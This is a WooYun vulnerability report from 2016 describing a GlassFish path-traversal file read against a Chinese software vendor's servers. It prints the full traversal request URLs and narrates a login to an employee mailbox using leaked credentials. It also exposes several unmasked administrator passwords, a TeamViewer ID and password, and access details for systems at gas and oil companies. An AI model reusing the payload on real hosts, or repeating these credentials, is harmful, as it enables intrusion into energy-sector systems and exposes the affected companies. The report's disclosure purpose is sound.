当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0186149

漏洞标题：看我是如何沦陷北京天江源各个服务器的(影响深圳燃气、山西燃气、延长石油、大鹏等多个企业系统)

相关厂商：北京天江源科技有限公司

漏洞作者： bitcoin

提交时间：2016-03-18 16:10

修复时间：2016-05-02 16:11

公开时间：2016-05-02 16:11

漏洞类型：文件包含

危害等级：高

自评Rank：20

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-03-18： 细节已通知厂商并且等待厂商处理中
2016-03-22： 厂商已经确认，细节仅向厂商公开
2016-04-01： 细节向核心白帽子及相关领域专家公开
2016-04-11： 细节向普通白帽子公开
2016-04-21： 细节向实习白帽子公开
2016-05-02： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

看我是如何沦陷北京天江源各个服务器的(影响深圳燃气、山西燃气、延长石油、大鹏等多个企业系统)

详细说明：

漏洞源于Glassfish的任意文件读取漏洞
详见
https://**.**.**.**/exploits/39241/
**.**.**.**:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/

123.56.110.jpg


**.**.**.**:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/MySQl

123.56.110.jpg2.jpg


**.**.**.**:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/MySQl/pgcms20151221013417.sql

123.56.110.jpg3.jpg


泄露了一个邮箱
**.**.**.**:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/dataCollect/mail.properties

123.56.110.jpg4.jpg


用这个邮箱尝试登陆163邮箱
成功登陆

123.56.110.jpg22.jpg


里面有好多信息泄露
公司的人员联系方式，服务器配置信息等。

123.56.110.jpg5.jpg


还有更多的绝密资料
注意：

mask 区域 
*****^^都是：test^*****
*****系统：ad*****
*****^^admin*****
*****min   *****
*****^^相^*****
*****l_skyris@*****
*****skyri*****
*****^理密^*****
*****^^18600*****
*****：45820866*****


mask 区域 
*****^:企^*****
*****^^源科技^*****
*****^^的^*****
*****^2^*****
*****^^*****
*****^^^*****
*****^^2M*****
*****8 R2 企业版*****
*****^：^*****
*****^：sk*****
******.**（公） *****
*****^号：ad*****
*****^码：Sk*****
1.://**.**.**/pgcms/    下位机端口：1234_
2.://**.**.**/pgcms/    下位机端口：9589_
*****^：20*****


1.2服务器：延长石油
服务器登录IP： **.**.**.** (公) **.**.**.** (内)
服务器登录账号：administrator
服务器登录密码：Skyris2015
上位机系统地址：http://**.**.**.**:8080/pgcms/ 下位机端口：9589
到期时间：2016.11.4
1.2服务器：深圳燃气+漠大线

mask 区域 
*******.** (公)   *****
*****^号：ad*****
*****^码：Sk*****
*****^统^*****
1.http://**.**.**/pgcms/ （漠大线）    下位机端口：9589_
2.http://**.**.**/szgas/ （深圳燃气）    下位机端口：1234_
*****^：20*****
*****^^关^*****
*****登^*****
*****.**   自定*****
*****：pim01, ^*****
*****N之^*****
*****^^“远程^*****
*******.**.*******
*****^admin*****
*****a1234*****
*******.**.*****
*****位^*****
*****一排， 3号*****
***** 防腐 *****
*****947-*****
***** Product *****


新版上位机服务器：
计算机：**.**.**.**（内）
用户名：administrator
密码：a12345！
公网IP：**.**.**.**
系统：
http://**.**.**.**:9999/pgcms 或者 **.**.**.**:9999/pgcms（旧）
下位机端口：1234
http://**.**.**.**:8080/pgcms 或者 **.**.**.**:8080/pgcms（新）
下位机端口：9589</mask>

mask 区域 
*****^^关^*****
******.**.*******
*****adminis*****
*****GDlng*****
*****^是每日的^*****
1.http://**.**.**/pgcms/    下位机端口:1234


4、山西燃气相关信息
下载teamviewer远程软件在本机安装，启动后在控制远程计算机中伙伴ID:312716876，点连接到伙伴，输入密码123456789，进入后输windows用户名Administrator,密码diaokong20150101就进去了

mask 区域 
*******.**.*****
*****minist*****
*****aokong*****
1.://**.**.**//**.**.**.**:9999/pgcms/_
*****^口^*****


审核验证后注意打码哈
尝试了下，基本都能登陆成功
影响深圳燃气、山西燃气、延长石油、大鹏等多个企业系统

123.56.110.jpg6.jpg


里面有深圳燃气某系统

123.56.110.jpg7.jpg


还有大鹏相关信息

123.56.110.jpg8.jpg


另外还有vpn相关的
VPN登录：

mask 区域 
*****.**   自定*****
*****：pim01, ^*****
*****N之^*****
*****^^“远程^*****
*******.**.*******
*****^admin*****
*****a1234*****
*******.**.*****


不深入了！

漏洞证明：

123.56.110.jpg6.jpg


123.56.110.jpg8.jpg

修复方案：

1、控制权限
2、修改密码
3、员工的安全意识啊

版权声明：转载请注明来源 bitcoin@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-03-22 15:53

厂商回复：

CNVD确认所述情况,已经转由CNCERT向能源行业信息化主管部门通报,由其后续协调网站管理单位处置.

最新状态：

2016-05-02：控制权限，加强密码复杂程度，严控内部文件，增强员工信息安全意识，加强内部控制流程。

2016-05-02：相关问题在发现后第一时间就进行了处理，感谢对我司的关注及信息安全的促进！